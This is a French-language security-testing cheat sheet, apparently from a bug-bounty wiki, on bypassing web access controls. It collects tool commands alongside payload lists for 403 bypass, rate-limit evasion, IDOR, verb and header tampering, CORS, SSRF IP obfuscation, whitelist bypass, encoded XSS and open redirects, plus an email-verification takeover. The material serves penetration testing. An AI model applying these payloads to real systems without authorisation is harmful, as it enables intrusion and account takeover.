🔓Bypass

Outils dédiés aux bypass en tout genre

Sites:

Dontgo403

Dontgo403 est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques.

Exemple d'utilisation:

$ ./dontgo403 -u https://target.com/private

ressource: https://github.com/devploit/dontgo403

Byp4xx

Byp4xx est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques (verb tampering, headers, custom user agents, tips de bug bounty).

Exemple d'utilisation:

$ ./byp4xx.py https://target.com/private

ressource: https://github.com/lobuhi/byp4xx

403-bypass

403-bypass est un outil ayant la même utilité que byp4xx

Exemple d'utilisation:

$ python3 403-bypass.py -u https://target.com -p private

ressource: https://github.com/channyein1337/403-bypass

​Bypass-url-parser

Bypass-url-parser est un outil permettant de tenter de contourner les restrictions via manipulation de l'url.

Exemple d'utilisation:

$ ./bypass-url-parser.py -u https://target.com/secret

ressource: https://github.com/laluka/bypass-url-parser

Recollapse

REcollapse est un outil d'aide au fuzzing des regex en boîte noire pour contourner les validations et découvrir les normalisations dans les applications Web.

Exemple d'utilisation:

$ recollapse https://target.com/secret

ressource: https://github.com/0xacb/recollapse

hakoriginfinder

Outil pour découvrir l'hôte d'origine derrière un proxy inverse. Utile pour contourner les WAF cloud.

Exemple d'utilisation:

$ prips <IP range>/24 | hakoriginfinder -h target.com

ressource: https://github.com/hakluke/hakoriginfinder

Jwt_tool

Jwt_tool est un outil permettant vérifier, scanner et falsifier des Json Web Token à la recherche de failles connues.

Exemple d'utilisation:

$ python3 jwt_tool.py <JWT>

ressource: https://github.com/ticarpi/jwt_tool

JSON Web Token Burp Suite extension

Il existe une extension dans burp suite permettant de manipuler les JWT.

ressource: https://github.com/portswigger/json-web-tokens

TIPS

Si un fichier est protégé, essayer de le fuzz avec des extensions de backup.

backup
bck
old
save
bak
sav
~
copy
old
orig
tmp
txt
back

Rate limit Bypass

Headers Bypass

Juste en dessous du header "Host:", utiliser l'un (ou parfois plusieurs) de ces headers:

  1. X-Forwarded-For : IP

  2. X-Forwarded-Host : IP

  3. X-Client-IP : IP

  4. X-Remote-IP : IP

  5. X-Remote-Addr : IP

  6. X-Host : IP

Avec des caractères

  1. L'ajout d'un octet nul (%00) à la fin d'un e-mail peut parfois contourner la limite de débit.

  2. Essayez d'ajouter un espace après un e-mail. ( Non codé )

  3. Quelques caractères communs qui aident à contourner la limite de débit : %0d , %2e , %09 , %20 ...

Avec une redirection

Si une page incorrecte redirige vers la page testé, changer le Host Header peu parfois permettre de contourner un rate limit.

Email verification bypass

  • Créer un compte avec un email

  • un lien de vérification sera envoyé

  • ne pas le suivre et changer l'email par celui d'une victime

  • Suivre le lien envoyé par mail

  • Si l'email de la victime est vérifié au lieu du votre alors il y a usurpation

Simple Bypass

Lorsqu'on a plusieurs étapes par exemple comme c'est le cas lors d'un achat en ligne, tenter de passer une étape.

Exemple:

/step/shipping/

/step/payment/

/step/confirm/

Essayer d'ajouter api devant un nom de domaine.

Exemple:

/target.com/users/ Forbidden

/api.target.com/users/ OK

Essayer d'ajouter .json à la fin de l'url.

Exemple:

/target.com/users/data Forbidden

/target.com/users/data.json OK

Si vous repérez une API avec une version dans l'url, essayer d'utiliser une version obsolète.

Exemple:

/target.com/v2/users/data Forbidden

/target.com/v1/users/data OK

Si vous avez une API, essayer d'ajouter internal à l'URL.

/target.com/v1/users/data Forbidden

/targer.com/v1/internal/users/data OK

Pour les paramètres en "id:XXX", essayer de mettre l'id dans un tableau.

Exemple:

/target.com/user.php?id=XXX Forbidden

/target.com/user.php?id=[XXX] OK

Essayer de le passer en tant qu'objet json.

/target.com/user.php?id=XXX Forbidden

/target.com/user.php?{"id"=XXX} OK

Essayer de passer par un id légitime.

/target.com/user.php?id=<victime> Forbidden

/target.com/user.php?id=<légitime>&id=<victime> OK

Essayer de fuzz le paramètre.

Exemple:

/target.com/user.php?id=FUZZ

Verb tampering

Essayer toutes les méthodes HTTP.

GET 
COPY
OPTIONS
PUT
TRACE
POST
SEARCH
MOVE
PATCH
ACL
ARBITRARY
BASELIN-CONTROL
CHECKIN
CHECKOUT
CONNECT
HEAD
LABEL
LOCK
MERGE
MKACTIVITY
MKCOL
MKWORKSPACE
ORDERPATCH
PROPFIND
REPORT
UNCHECKOUT
UNLOCK
UPDATE
VERSION-CONTROL

Method override

Via header

X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-Http-Method-Override:
X-HTTP-Method-Override:
X-Http-Method:
X-HTTP-Method:
X-Method-Override:
X-HTTP-Method:
X-Method-Override:

Via parametre

_method=
method= 
httpMethod= 
_HttpMethod=

Header injection

Referer:
X-Custom-Ip-Authorization:
X-Original-URL:
X-Rewrite-URL:
X-Originating-IP:
X-Forwarded-For:
X-Remote-IP:
X-Client-IP:
X-Host:
X-Forwarded-Host:

Essayer les headers en IP avec les plages suivantes:

  • 192.168.0.0/16

  • 172.16.0.0/12

  • 127.0.0.0/8

  • 10.0.0.0/8

URI tampering

/target.com/private
/target.com/private/
/target.com/private//
/target.com/private/*
/target.com/private./.
/target.com/private/*/
/target.com/private&
/target.com/private#
/target.com/private%
/target.com/private%09
/target.com/private../
/target.com/private..;/
/target.com/private..%2f
/target.com/private../.
/target.com/private..%00/
/target.com/private..%0d
/target.com/private..%5c
/target.com/private..%ff/
/target.com/private%2e%2e%2f
/target.com/private.%2e/
/target.com/private%3f
/target.com/private%26
/target.com/private%23
/target.com/private.json
/target.com/private.xml
/target.com/*private
/target.com/*private/
/target.com./.private
/target.com/%20private/
/target.com/%20private%20/

#nginx
/target.com/admin -> 404
/target.com/#/../../admin -> 200
...
...

ISP bypass

via le service Google translate

https://evil.com/ Bloqué

https://evil.com.translate.goog/ Bypass

CORS bypass

  • Origin:null

  • Origin:attacker.com

  • Origin:attacker.target.com

  • Origin:attackertarget.com

  • Origin:sub.attackertarget.com

  • Origin:attacker.com et changer la méthode HTTP GET => POST / POST => GET

  • Origin:sub.attacker target.com

  • Origin:sub.attacker%target.com

  • Origin:attacker.com/target.com

SSRF bypass

Si les IP sont blacklistés, il est possible d'essayer de les bypass de ces façons.

Exemple pour IP 127.0.0.1:

http://127.0.1
http://127.1
http://0.0.0.0
http://0.0.0.0::1
http://0.0.0.0::1:25
http://0.0.0.0::1:22
http://0.0.0.0::1:3128
http://0
http://0x7f000001
http://213070433
http://3232235521
http://3232235777
http://2852039166
http://017700000001
http://[::]:80
http://0o177.0.0.1

Whitelist bypass

exemple: "function url must be function.target.com"

bypass:

  • https://localhost@function.target.com

  • https://localhost#@function.target.com ("#" pour essayer d'enlever le @function.target.com de la requête)

  • https://localhost%2523@function.target.com (avec le "#" double encodé)

XSS bypass

Il arrive parfois que des entreprises remédient à des XSS en encodant les sorties utilisateur.

Il est donc important d'essayer vos payloads encodés avec burp suite par exemple.

Exemple:

<img src=x onerror=prompt(document.domain)>

devient

%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E

Ou (double encodé)

%253Cimg%2520src%253Dx%2520onerror%253Dprompt%2528document.domain%2529%253E

Open redirect

  • target[.]com/?redirect=evil[.]com => Warning site

  • target[.]com/?redirect=evil[.]cOm => OK

Autre

Accès à la console d'administration

Il existe parfois un paramètre debug dans un endoint pouvant parfois permettre de bypass une restriction d'accès.

Exemple:

  • debug=true

  • _debug=true

  • debug=1

  • _debug=1

target.com/admin/console => 403 forbidden

target.com/admin/console?debug=true => 200 OK

Dernière mise à jour